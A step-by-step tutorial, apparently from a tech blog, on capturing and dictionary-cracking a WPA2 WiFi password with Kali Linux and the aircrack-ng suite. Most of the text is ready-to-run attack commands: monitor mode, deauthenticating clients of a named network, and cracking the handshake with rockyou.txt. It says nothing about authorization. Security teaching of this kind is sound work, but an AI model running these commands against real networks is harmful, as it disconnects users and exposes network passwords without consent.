Abstract
In this tech article, we have demonstrated step by step process of ethical hacking of WiFi password using Kali Linux and an Alfa USB Wi-Fi adapter that supports monitor mode and packet injection. The wifi adapter is configured in the monitor mode using airmon-ng, and nearby Wi-Fi networks are scanned with airodump-ng. Once the target network is identified, a handshake is captured by deauthenticating connected clients using aireplay-ng, forcing them to reconnect. The captured handshake file is then analyzed using aircrack-ng with a dictionary wordlist such as rockyou.txt built in Kali Linux. If the password matches any entry in the list, it says that password found.
Key terms: Kali Linux, Alfa wifi Adapter, Brute force attack, etc.
Introduction
In this demo we used the following tools:
🧰 Tools Used
- Kali Linux 2023.4 (running inside VirtualBox)
- Alfa AWUS036NHA / AWUS036ACH WiFi USB Adapter (AU$69 price approximately)
- aircrack-ng suite (pre-installed on Kali Linux)
Step-by-Step Guide
🧩 Step 1: Connect Alfa Adapter in Kali (VirtualBox)
In VirtualBox: Devices → USB → Atheros UB91C or similar
Confirm detection:
lsusb
📡 Step 2: Enable Monitor Mode
iwconfig
If interface is wlan0, run:
sudo airmon-ng check kill
sudo airmon-ng start wlan0
This creates a new interface: wlan0mon
📶 Step 3: Scan for WiFi Networks
sudo airodump-ng wlan0mon
Identify your target WiFi — e.g., Galaxy A42 5G67C7 on channel 6, BSSID 3E:E6:70:8A:D2:72
📂 Step 4: Capture WPA2 Handshake
sudo airodump-ng --bssid 3E:E6:70:8A:D2:72 --channel 6 -w galaxy wlan0mon
This saves packets to galaxy-01.cap
📤 Step 5: Deauthenticate Clients
sudo aireplay-ng --deauth 10 -a 3E:E6:70:8A:D2:72 wlan0mon
Wait for a handshake to appear:
WPA Handshake: 3E:E6:70:8A:D2:72
🔐 Step 6: Crack the Handshake
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 3E:E6:70:8A:D2:72 galaxy-02.cap
If successful:
KEY FOUND! [ password ]
🧼 Step 7: Stop Monitor Mode
sudo airmon-ng stop wlan0mon
sudo service NetworkManager restart
🛠️ Optional: Custom Wordlist
Create a custom password file:
echo "Galaxy2024" > ~/Desktop/mylist.txt
Then use:
sudo aircrack-ng -w ~/Desktop/mylist.txt -b 3E:E6:70:8A:D2:72 galaxy-01.cap
📌 Summary of All Commands
sudo airmon-ng check kill
sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng --bssid [BSSID] --channel [CH] -w [file] wlan0mon
sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon
sudo aircrack-ng -w [wordlist] -b [BSSID] [file.cap]
sudo airmon-ng stop wlan0mon
sudo service NetworkManager restart
🎓 Educational Use Cases
✔️ Tip: Combine this setup with crunch or hashcat for advanced brute-force and GPU cracking experiments.